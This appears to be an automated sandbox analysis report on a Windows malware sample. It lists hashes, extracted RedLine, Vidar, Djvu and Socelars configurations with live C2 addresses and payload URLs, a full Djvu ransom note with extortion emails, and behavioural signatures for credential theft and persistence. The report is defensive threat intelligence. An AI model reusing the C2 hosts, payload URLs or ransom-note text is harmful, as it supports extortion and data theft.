General
Target

56a34b76ba7c81e554eeb1dcfe93a6d0f61103536f9a0387fb220768bd2149df.exe

Filesize

206KB

Completed

03-03-2022 11:06

Task

behavioral1

Score
10/10
MD5

e33bb4ac1f596884ddc4802751e7369e

SHA1

7dbf53f971f22383e9d8a3dbc315c1247bd5a5ae

SHA256

56a34b76ba7c81e554eeb1dcfe93a6d0f61103536f9a0387fb220768bd2149df

SHA256

9cfc140085f3b82a55b0e9dda381cff52dd18c1b21c09126c3845a22ee542cdaf1bde2fbe52dddf3557ed9612a89da95148a14013e8a59eab407c94bac043eb5

Malware Config

Extracted

Family

redline

C2

45.132.1.57:15771

Attributes
auth_value
9d006a439ab657f87bacd7a8c5f366b6

Extracted

Family

redline

Botnet

333333

C2

31.210.20.42:13040

Attributes
auth_value
3efa022bc816f747304fd68e5810bb78

Extracted

Family

redline

Botnet

fullwork1488

C2

91.243.32.165:41754

Attributes
auth_value
a4384deb7b09a3c1c21c6447924c2d9a

Extracted

Family

vidar

Version

50.4

Botnet

937

C2

https://mastodon.online/@samsa11

https://koyu.space/@samsa2l

Attributes
profile_id
937

Extracted

Family

redline

Botnet

test

C2

109.248.175.92:30766

Attributes
auth_value
92e419e2bde5b23302f8f16ed7a4adbc

Extracted

Family

djvu

C2

http://fuyt.org/test3/get.php

Attributes
extension
.qbaa
offline_id
rpx4UUTYZiAR5omq187UvM233jloVHyJUkA8s3t1
payload_url
http://zerit.top/dl/build2.exe
http://fuyt.org/files/1/build3.exe
ransomnote
ATTENTION! Don't worry, you can return all your files! All your files like pictures, databases, documents and other important are encrypted with strongest encryption and unique key. The only method of recovering files is to purchase decrypt tool and unique key for you. This software will decrypt all your encrypted files. What guarantees you have? You can send one of your encrypted file from your PC and we decrypt it for free. But we can decrypt only 1 file for free. File must not contain valuable information. You can get and look video overview decrypt tool: https://we.tl/t-G76puQlxBn Price of private key and decrypt software is $980. Discount 50% available if you contact us first 72 hours, that's price for you is $490. Please note that you'll never restore your data without payment. Check your e-mail "Spam" or "Junk" folder if you don't get answer more than 6 hours. To get this software you need write on our e-mail: support@sysmail.ch Reserve e-mail address to contact us: helprestoremanager@airmail.cc Your personal ID: 0412Jsfkjn
rsa_pubkey.plain

Extracted

Family

redline

Botnet

joka

C2

wamerlbyano.xyz:80

Attributes
auth_value
96ef84b6d2f17b052fdd02c3f63e1e40

Extracted

Family

redline

Botnet

bild

C2

95.216.21.217:19597

Attributes
auth_value
6a86304a315cc6a978ccb33feb915de5

Extracted

Family

socelars

C2

https://sa-us-bucket.s3.us-east-2.amazonaws.com/qwwgh/

Extracted

Family

vidar

Version

50.4

Botnet

517

C2

https://mastodon.online@samsa11

https://koyu.space/@samsa2l

Attributes
profile_id
517
Signatures 61

Filter: none

Collection
Credential Access
Defense Evasion
Discovery
Persistence
  • Detected Djvu ransomware

    Reported IOCs

    resourceyara_rule
    behavioral1/memory/3028-229-0x00000000024A0000-0x00000000025BB000-memory.dmpfamily_djvu
    behavioral1/memory/3944-211-0x0000000000400000-0x0000000000537000-memory.dmpfamily_djvu
  • Djvu Ransomware

    Description

    Ransomware which is a variant of the STOP family.

  • Modifies Windows Defender Real-time Protection settings

    TTPs

    Modify RegistryModify Existing ServiceDisabling Security Tools
  • OnlyLogger

    Description

    A tiny loader that uses IPLogger to get its payload.

  • RedLine

    Description

    RedLine Stealer is a malware family written in C#, first appearing in early 2020.

  • RedLine Payload

    Reported IOCs

    resourceyara_rule
    behavioral1/memory/2208-168-0x0000000000350000-0x000000000048A000-memory.dmpfamily_redline
    behavioral1/memory/2208-180-0x0000000000350000-0x000000000048A000-memory.dmpfamily_redline
    behavioral1/memory/1244-187-0x0000000000A90000-0x0000000000BCA000-memory.dmpfamily_redline
    behavioral1/memory/352-215-0x0000000000FE0000-0x000000000111A000-memory.dmpfamily_redline
    behavioral1/memory/1948-239-0x0000000000BB2000-0x0000000000BCB000-memory.dmpfamily_redline
    behavioral1/memory/2208-241-0x0000000000352000-0x000000000036B000-memory.dmpfamily_redline
    behavioral1/memory/3024-258-0x00000000023D0000-0x0000000002404000-memory.dmpfamily_redline
    behavioral1/memory/3024-265-0x0000000002550000-0x0000000002582000-memory.dmpfamily_redline
    behavioral1/memory/4028-226-0x0000000000B50000-0x0000000000C8A000-memory.dmpfamily_redline
    behavioral1/memory/4028-218-0x0000000000B52000-0x0000000000B6B000-memory.dmpfamily_redline
    behavioral1/memory/2208-216-0x0000000000350000-0x000000000048A000-memory.dmpfamily_redline
    behavioral1/memory/1244-207-0x0000000000A90000-0x0000000000BCA000-memory.dmpfamily_redline
    behavioral1/memory/4028-199-0x0000000000B50000-0x0000000000C8A000-memory.dmpfamily_redline
    behavioral1/memory/1948-198-0x0000000000BB0000-0x0000000000D15000-memory.dmpfamily_redline
    behavioral1/memory/352-194-0x0000000000FE0000-0x000000000111A000-memory.dmpfamily_redline
    behavioral1/memory/1244-196-0x0000000000A92000-0x0000000000AAB000-memory.dmpfamily_redline
    behavioral1/memory/4028-181-0x0000000000B52000-0x0000000000B6B000-memory.dmpfamily_redline
    behavioral1/memory/4028-178-0x0000000000B50000-0x0000000000C8A000-memory.dmpfamily_redline
    behavioral1/memory/352-174-0x0000000000FE2000-0x0000000000FFB000-memory.dmpfamily_redline
    behavioral1/memory/1244-169-0x0000000000A92000-0x0000000000AAB000-memory.dmpfamily_redline
    behavioral1/memory/352-173-0x0000000000FE0000-0x000000000111A000-memory.dmpfamily_redline
    behavioral1/memory/1948-170-0x0000000000BB0000-0x0000000000D15000-memory.dmpfamily_redline
    behavioral1/memory/1244-166-0x0000000000A90000-0x0000000000BCA000-memory.dmpfamily_redline
    behavioral1/memory/1948-165-0x0000000000BB0000-0x0000000000D15000-memory.dmpfamily_redline
  • Socelars

    Description

    Socelars is an infostealer targeting browser cookies and credit card credentials.

  • Socelars Payload

    Reported IOCs

    resourceyara_rule
    behavioral1/files/0x0006000000019e00-140.datfamily_socelars
    behavioral1/files/0x0006000000019e00-139.datfamily_socelars
  • Suspicious use of NtCreateProcessExOtherParentProcess
    WerFault.exe

    Reported IOCs

    descriptionpidprocesstarget process
    PID 3644 created 16043644WerFault.exe35Uz7OpyCvx7_SyabIcMcgYQ.exe
  • Vidar

    Description

    Vidar is an infostealer based on Arkei stealer.

  • suricata: ET MALWARE EXE Download Request To Wordpress Folder Likely Malicious

    Description

    suricata: ET MALWARE EXE Download Request To Wordpress Folder Likely Malicious

    Tags

  • suricata: ET MALWARE GCleaner Downloader Activity M5

    Description

    suricata: ET MALWARE GCleaner Downloader Activity M5

    Tags

  • suricata: ET MALWARE Potential Dridex.Maldoc Minimal Executable Request

    Description

    suricata: ET MALWARE Potential Dridex.Maldoc Minimal Executable Request

    Tags

  • suricata: ET MALWARE Suspicious Zipped Filename in Outbound POST Request (Passwords.txt)

    Description

    suricata: ET MALWARE Suspicious Zipped Filename in Outbound POST Request (Passwords.txt)

    Tags

  • suricata: ET MALWARE Suspicious Zipped Filename in Outbound POST Request (Passwords.txt) M2

    Description

    suricata: ET MALWARE Suspicious Zipped Filename in Outbound POST Request (Passwords.txt) M2

    Tags

  • suricata: ET MALWARE Suspicious Zipped Filename in Outbound POST Request (passwords.txt) M2

    Description

    suricata: ET MALWARE Suspicious Zipped Filename in Outbound POST Request (passwords.txt) M2

    Tags

  • suricata: ET MALWARE Terse alphanumeric executable downloader high likelihood of being hostile

    Description

    suricata: ET MALWARE Terse alphanumeric executable downloader high likelihood of being hostile

    Tags

  • suricata: ET MALWARE Vidar/Arkei Stealer Client Data Upload

    Description

    suricata: ET MALWARE Vidar/Arkei Stealer Client Data Upload

    Tags

  • suricata: ET MALWARE Vidar/Arkei/Megumin/Oski Stealer HTTP POST Pattern

    Description

    suricata: ET MALWARE Vidar/Arkei/Megumin/Oski Stealer HTTP POST Pattern

    Tags

  • suricata: ET MALWARE Win32.Raccoon Stealer - Telegram Mirror Checkin (generic)

    Description

    suricata: ET MALWARE Win32.Raccoon Stealer - Telegram Mirror Checkin (generic)

    Tags

  • suricata: ET MALWARE Win32/Spy.Socelars.S CnC Activity M3

    Description

    suricata: ET MALWARE Win32/Spy.Socelars.S CnC Activity M3

    Tags

  • suricata: ET MALWARE Win32/Unk.HRESQ! MultiDownloader Checkin M2

    Description

    suricata: ET MALWARE Win32/Unk.HRESQ! MultiDownloader Checkin M2

    Tags

  • OnlyLogger Payload

    Reported IOCs

    resourceyara_rule
    behavioral1/memory/1604-288-0x00000000008F0000-0x0000000000934000-memory.dmpfamily_onlylogger
    behavioral1/memory/1604-291-0x0000000000400000-0x0000000000447000-memory.dmpfamily_onlylogger
  • Vidar Stealer

    Tags

    Reported IOCs

    resourceyara_rule
    behavioral1/memory/3256-248-0x0000000000400000-0x00000000004B0000-memory.dmpfamily_vidar
    behavioral1/memory/3256-244-0x0000000002350000-0x00000000023FC000-memory.dmpfamily_vidar
    behavioral1/memory/644-366-0x0000000000400000-0x00000000004A9000-memory.dmpfamily_vidar
  • Downloads MZ/PE file
  • Executes dropped EXE
    XFMuSM__UnAKNb5y77gEozhR.exe4otKKZcyc6wMRjLsj_1mmrai.exeEEA3YOA9rJqyimCyumronT19.exeP7sPi_8GQ6EBndGlC6huLdOD.exe35Uz7OpyCvx7_SyabIcMcgYQ.exeRZmPDLVfEjZP1OjfiYsYFYHm.exeMDKkHsk8svcHvRGWpdm1TPsj.exeIifLvp9EQdFf93ktNxmQ8vAV.exelNCTEcA_699zstKfADv3bJ_j.exeVPNoGmRG5Suh_CO9xMsVMgHC.exe7kMhx1ol3xHR6PgpEAy0Mfx6.exeTXvXK2KrFkrHKQpdeiNq6EmK.exeGuuUMNOpzhGsxCqhrFTtE4wn.exeIfy213ZUg3KDJWvdIV4oy8Hx.exef9jdatpf0oX8WPl0H5XRmvIg.exeow11QyMfAoxQbPgVs7buQImm.exeIB1Ads4Nhh2YtShUofyINhff.exeLScRGetsyZV3ZLmD7abVohQM.exeH2UFiXQKSTacbYzNYh0dWSsr.exe1ADDp5TJ9I9LidIfKqtWfZTb.exeOZKg9pApfP3zgBlGAIOqHqwr.exekwJm54yhzqQ4jwTEnn_gotEO.exeMDKkHsk8svcHvRGWpdm1TPsj.tmpJ7xk_zbTnzH8hQktNfo451Yx.exef9jdatpf0oX8WPl0H5XRmvIg.exeInstall.exeConhost.exeInstall.exe9c947346-095b-4bdc-8489-ffeb922a4b96.exeTXvXK2KrFkrHKQpdeiNq6EmK.exeZQ85MKakjh00eT06cIEg1DZy.exe5E089B544ICJKGE.exef9jdatpf0oX8WPl0H5XRmvIg.exef9jdatpf0oX8WPl0H5XRmvIg.exeAccostarmi.exe.pifbuild2.exebuild2.exelKbipIJ.exe

    Reported IOCs

    pidprocess
    3804XFMuSM__UnAKNb5y77gEozhR.exe
    37644otKKZcyc6wMRjLsj_1mmrai.exe
    1808EEA3YOA9rJqyimCyumronT19.exe
    1948P7sPi_8GQ6EBndGlC6huLdOD.exe
    160435Uz7OpyCvx7_SyabIcMcgYQ.exe
    3256RZmPDLVfEjZP1OjfiYsYFYHm.exe
    2936MDKkHsk8svcHvRGWpdm1TPsj.exe
    2928IifLvp9EQdFf93ktNxmQ8vAV.exe
    3024lNCTEcA_699zstKfADv3bJ_j.exe
    2092VPNoGmRG5Suh_CO9xMsVMgHC.exe
    34567kMhx1ol3xHR6PgpEAy0Mfx6.exe
    3280TXvXK2KrFkrHKQpdeiNq6EmK.exe
    2208GuuUMNOpzhGsxCqhrFTtE4wn.exe
    3380Ify213ZUg3KDJWvdIV4oy8Hx.exe
    3028f9jdatpf0oX8WPl0H5XRmvIg.exe
    3468ow11QyMfAoxQbPgVs7buQImm.exe
    1244IB1Ads4Nhh2YtShUofyINhff.exe
    352LScRGetsyZV3ZLmD7abVohQM.exe
    416H2UFiXQKSTacbYzNYh0dWSsr.exe
    40281ADDp5TJ9I9LidIfKqtWfZTb.exe
    4024OZKg9pApfP3zgBlGAIOqHqwr.exe
    3044kwJm54yhzqQ4jwTEnn_gotEO.exe
    3440MDKkHsk8svcHvRGWpdm1TPsj.tmp
    3924J7xk_zbTnzH8hQktNfo451Yx.exe
    3944f9jdatpf0oX8WPl0H5XRmvIg.exe
    2120Install.exe
    4360Conhost.exe
    4428Install.exe
    48889c947346-095b-4bdc-8489-ffeb922a4b96.exe
    4976TXvXK2KrFkrHKQpdeiNq6EmK.exe
    4524ZQ85MKakjh00eT06cIEg1DZy.exe
    43845E089B544ICJKGE.exe
    4676f9jdatpf0oX8WPl0H5XRmvIg.exe
    4608f9jdatpf0oX8WPl0H5XRmvIg.exe
    4800Accostarmi.exe.pif
    4624build2.exe
    644build2.exe
    4236lKbipIJ.exe
  • UPX packed file

    Description

    Detects executables packed with UPX/modified UPX open source packer.

    Tags

    Reported IOCs

    resourceyara_rule
    behavioral1/files/0x0008000000019de5-143.datupx
    behavioral1/files/0x0008000000019de5-144.datupx
  • Checks BIOS information in registry
    Install.exe

    Description

    BIOS information is often read in order to detect sandboxing environments.

    TTPs

    Query RegistrySystem Information Discovery

    Reported IOCs

    descriptioniocprocess
    Key value queried\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\SystemBiosVersionInstall.exe
  • Checks computer location settings
    lNCTEcA_699zstKfADv3bJ_j.exe56a34b76ba7c81e554eeb1dcfe93a6d0f61103536f9a0387fb220768bd2149df.exe

    Description

    Looks up country code configured in the registry, likely geofence.

    TTPs

    Query RegistrySystem Information Discovery

    Reported IOCs

    descriptioniocprocess
    Key value queried\REGISTRY\USER\S-1-5-21-1937337463-1541593363-3360944660-1000\Control Panel\International\Geo\NationlNCTEcA_699zstKfADv3bJ_j.exe
    Key value queried\REGISTRY\USER\S-1-5-21-1937337463-1541593363-3360944660-1000\Control Panel\International\Geo\Nation56a34b76ba7c81e554eeb1dcfe93a6d0f61103536f9a0387fb220768bd2149df.exe
  • Loads dropped DLL
    MDKkHsk8svcHvRGWpdm1TPsj.tmpRZmPDLVfEjZP1OjfiYsYFYHm.exebuild2.exe

    Reported IOCs

    pidprocess
    3440MDKkHsk8svcHvRGWpdm1TPsj.tmp
    3256RZmPDLVfEjZP1OjfiYsYFYHm.exe
    3256RZmPDLVfEjZP1OjfiYsYFYHm.exe
    644build2.exe
    644build2.exe
  • Modifies file permissions
    icacls.exe

    Tags

    TTPs

    File Permissions Modification

    Reported IOCs

    pidprocess
    4664icacls.exe
  • Reads user/profile data of web browsers

    Description

    Infostealers often target stored browser data, which can include saved credentials etc.

    TTPs

    Data from Local SystemCredentials in Files
  • Accesses 2FA software files, possible credential harvesting

    TTPs

    Data from Local SystemCredentials in Files
  • Accesses cryptocurrency files/wallets, possible credential harvesting

    Tags

    TTPs

    Data from Local SystemCredentials in Files
  • Adds Run key to start application
    f9jdatpf0oX8WPl0H5XRmvIg.exe

    TTPs

    Registry Run Keys / Startup FolderModify Registry

    Reported IOCs

    descriptioniocprocess
    Set value (str)\REGISTRY\USER\S-1-5-21-1937337463-1541593363-3360944660-1000\Software\Microsoft\Windows\CurrentVersion\Run\SysHelper = "\"C:\\Users\\Admin\\AppData\\Local\\fbc11548-8e0d-4bec-bde9-6e143f02f772\\f9jdatpf0oX8WPl0H5XRmvIg.exe\" --AutoStart"f9jdatpf0oX8WPl0H5XRmvIg.exe
  • Checks installed software on the system

    Description

    Looks up Uninstall key entries in the registry to enumerate software on the system.

    Tags

    TTPs

    Query Registry
  • Legitimate hosting services abused for malware hosting/C2

    TTPs

    Web Service
  • Looks up external IP address via web service

    Description

    Uses a legitimate IP lookup service to find the infected system's external IP.

    Reported IOCs

    flowioc
    25ipinfo.io
    26ipinfo.io
    122ipinfo.io
    132api.2ip.ua
    133api.2ip.ua
    183api.2ip.ua
  • Drops file in System32 directory
    powershell.exepowershell.exelKbipIJ.exeInstall.exe

    Reported IOCs

    descriptioniocprocess
    File createdC:\Windows\SysWOW64\config\systemprofile\AppData\Local\Microsoft\CLR_v4.0_32\UsageLogs\powershell.exe.logpowershell.exe
    File opened for modificationC:\Windows\SysWOW64\config\systemprofile\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractivepowershell.exe
    File createdC:\Windows\system32\GroupPolicy\Machine\Registry.pollKbipIJ.exe
    File opened for modificationC:\Windows\system32\GroupPolicy\gpt.inilKbipIJ.exe
    File createdC:\Windows\system32\GroupPolicy\gpt.iniInstall.exe
    File createdC:\Windows\SysWOW64\config\systemprofile\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractivepowershell.exe
  • Suspicious use of NtSetInformationThreadHideFromDebugger
    P7sPi_8GQ6EBndGlC6huLdOD.exeGuuUMNOpzhGsxCqhrFTtE4wn.exeIB1Ads4Nhh2YtShUofyINhff.exe1ADDp5TJ9I9LidIfKqtWfZTb.exeLScRGetsyZV3ZLmD7abVohQM.exeZQ85MKakjh00eT06cIEg1DZy.exe

    Reported IOCs

    pidprocess
    1948P7sPi_8GQ6EBndGlC6huLdOD.exe
    2208GuuUMNOpzhGsxCqhrFTtE4wn.exe
    1244IB1Ads4Nhh2YtShUofyINhff.exe
    40281ADDp5TJ9I9LidIfKqtWfZTb.exe
    352LScRGetsyZV3ZLmD7abVohQM.exe
    4524ZQ85MKakjh00eT06cIEg1DZy.exe
  • Suspicious use of SetThreadContext
    f9jdatpf0oX8WPl0H5XRmvIg.exeTXvXK2KrFkrHKQpdeiNq6EmK.exef9jdatpf0oX8WPl0H5XRmvIg.exebuild2.exe

    Reported IOCs

    descriptionpidprocesstarget process
    PID 3028 set thread context of 39443028f9jdatpf0oX8WPl0H5XRmvIg.exef9jdatpf0oX8WPl0H5XRmvIg.exe
    PID 3280 set thread context of 49763280TXvXK2KrFkrHKQpdeiNq6EmK.exeTXvXK2KrFkrHKQpdeiNq6EmK.exe
    PID 4676 set thread context of 46084676f9jdatpf0oX8WPl0H5XRmvIg.exef9jdatpf0oX8WPl0H5XRmvIg.exe
    PID 4624 set thread context of 6444624build2.exebuild2.exe
  • Drops file in Program Files directory
    4otKKZcyc6wMRjLsj_1mmrai.exe

    Reported IOCs

    descriptioniocprocess
    File opened for modificationC:\Program Files (x86)\PowerControl\PowerControl_Svc.exe4otKKZcyc6wMRjLsj_1mmrai.exe
    File createdC:\Program Files (x86)\PowerControl\PowerControl_Svc.exe4otKKZcyc6wMRjLsj_1mmrai.exe
  • Drops file in Windows directory
    MicrosoftEdge.exeMicrosoftEdgeCP.exeschtasks.exe

    Reported IOCs

    descriptioniocprocess
    File createdC:\Windows\rescache\_merged\3720402701\2219095117.priMicrosoftEdge.exe
    File opened for modificationC:\Windows\Debug\ESE.TXTMicrosoftEdge.exe
    File createdC:\Windows\rescache\_merged\3720402701\2219095117.priMicrosoftEdgeCP.exe
    File createdC:\Windows\Tasks\booXbIzkEgfNdKvxAC.jobschtasks.exe
  • Enumerates physical storage devices

    Description

    Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

    TTPs

    System Information Discovery
  • Program crash
    WerFault.exeWerFault.exeWerFault.exeWerFault.exeWerFault.exeWerFault.exe

    Reported IOCs

    pidpid_targetprocess
    45804024WerFault.exe
    42241604WerFault.exe
    3084416WerFault.exe
    11243456WerFault.exe
    36441604WerFault.exe
    16321808WerFault.exeEEA3YOA9rJqyimCyumronT19.exe
  • Checks processor information in registry
    build2.exeRZmPDLVfEjZP1OjfiYsYFYHm.exe9c947346-095b-4bdc-8489-ffeb922a4b96.exe

    Description

    Processor information is often read in order to detect sandboxing environments.

    TTPs

    Query RegistrySystem Information Discovery

    Reported IOCs

    descriptioniocprocess
    Key value queried\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameStringbuild2.exe
    Key opened\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0RZmPDLVfEjZP1OjfiYsYFYHm.exe
    Key value queried\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameStringRZmPDLVfEjZP1OjfiYsYFYHm.exe
    Key opened\REGISTRY\MACHINE\HARDWARE\Description\System\CentralProcessor\09c947346-095b-4bdc-8489-ffeb922a4b96.exe
    Key value queried\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\Identifier9c947346-095b-4bdc-8489-ffeb922a4b96.exe
    Key opened\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0build2.exe
  • Creates scheduled task(s)
    schtasks.exeschtasks.exeschtasks.exeschtasks.exeschtasks.exe

    Description

    Schtasks is often used by malware for persistence or to perform post-infection execution.

    TTPs

    Scheduled Task

    Reported IOCs

    pidprocess
    3668schtasks.exe
    3580schtasks.exe
    2276schtasks.exe
    4164schtasks.exe
    3136schtasks.exe
  • Delays execution with timeout.exe
    timeout.exetimeout.exetimeout.exe

    Tags

    Reported IOCs

    pidprocess
    1312timeout.exe
    4336timeout.exe
    4516timeout.exe
  • Enumerates processes with tasklist
    tasklist.exetasklist.exe

    TTPs

    Process Discovery

    Reported IOCs

    pidprocess
    1552tasklist.exe
    4620tasklist.exe
  • Enumerates system info in registry
    Install.exe

    TTPs

    Query RegistrySystem Information Discovery

    Reported IOCs

    descriptioniocprocess
    Key opened\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOSInstall.exe
    Key value queried\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemProductNameInstall.exe
  • Kills process with taskkill
    taskkill.exetaskkill.exetaskkill.exe

    Tags

    Reported IOCs

    pidprocess
    4084taskkill.exe
    1800taskkill.exe
    4604taskkill.exe
  • Modifies Internet Explorer settings
    MicrosoftEdge.exebrowser_broker.exeMicrosoftEdgeCP.exe

    TTPs

    Modify Registry

    Reported IOCs

    descriptioniocprocess
    Key created\REGISTRY\USER\S-1-5-21-1937337463-1541593363-3360944660-1000\Software\Microsoft\Internet Explorer\MainMicrosoftEdge.exe
    Key created\REGISTRY\USER\S-1-5-21-1937337463-1541593363-3360944660-1000\Software\Microsoft\Internet Explorer\Mainbrowser_broker.exe
    Key created\REGISTRY\USER\S-1-5-21-1937337463-1541593363-3360944660-1000\Software\Microsoft\Internet Explorer\MainMicrosoftEdgeCP.exe
  • Modifies data under HKEY_USERS
    powershell.exepowershell.exe

    Reported IOCs

    descriptioniocprocess
    Key created\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\CTLspowershell.exe
    Key created\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed\CTLspowershell.exe
    Key created\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust\CTLspowershell.exe
    Key created\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA\CRLspowershell.exe
    Key created\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot\CRLspowershell.exe
    Key created\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trustpowershell.exe
    Key created\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trustpowershell.exe
    Key created\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA\Certificatespowershell.exe
    Key created\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Rootpowershell.exe
    Key created\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRootpowershell.exe
    Key created\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\CTLspowershell.exe
    Key created\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust\CTLspowershell.exe
    Key created\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed\Certificatespowershell.exe
    Key created\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\Certificatespowershell.exe
    Key created\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\CTLspowershell.exe
    Key created\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA\Certificatespowershell.exe
    Key created\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot\CTLspowershell.exe
    Key created\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed\CRLspowershell.exe
    Key created\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\Certificatespowershell.exe
    Key created\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed\CTLspowershell.exe
    Key created\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed\Certificatespowershell.exe
    Key created\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\CRLspowershell.exe
    Key created\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRootpowershell.exe
    Key created\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust\Certificatespowershell.exe
    Key created\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust\CRLspowershell.exe
    Key created\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust\CTLspowershell.exe
    Key created\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed\CRLspowershell.exe
    Key created\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\CTLspowershell.exe
    Key created\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed\Certificatespowershell.exe
    Key created\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed\CTLspowershell.exe
    Key created\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\Certificatespowershell.exe
    Key created\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\CRLspowershell.exe
    Key created\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust\Certificatespowershell.exe
    Key created\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\CTLspowershell.exe
    Key created\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA\CRLspowershell.exe
    Key created\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed\Certificatespowershell.exe
    Key created\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA\CTLspowershell.exe
    Set value (data)\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\LanguageList = 65006e002d0055005300000065006e0000000000powershell.exe
    Key created\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\CRLspowershell.exe
    Key created\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CApowershell.exe
    Key created\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowedpowershell.exe
    Key created\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\CTLspowershell.exe
    Key created\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust\CRLspowershell.exe
    Key created\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\Certificatespowershell.exe
    Key created\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\CTLspowershell.exe
    Key created\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Rootpowershell.exe
    Key created\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeoplepowershell.exe
    Key created\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\CTLspowershell.exe
    Key created\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CApowershell.exe
    Key created\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed\CRLspowershell.exe
    Key created\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust\Certificatespowershell.exe
    Key created\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\CRLspowershell.exe
    Key created\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeoplepowershell.exe
    Key created\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\CRLspowershell.exe
    Key created\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\Certificatespowershell.exe
    Key created\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\CRLspowershell.exe
    Key created\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trustpowershell.exe
    Key created\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\CRLspowershell.exe
    Key created\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed\CRLspowershell.exe
    Key created\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot\Certificatespowershell.exe
    Key created\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot\CRLspowershell.exe
    Key created\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\Certificatespowershell.exe
    Set value (data)\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\LanguageList = 65006e002d0055005300000065006e0000000000powershell.exe
    Key created\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CApowershell.exe
  • Modifies registry class
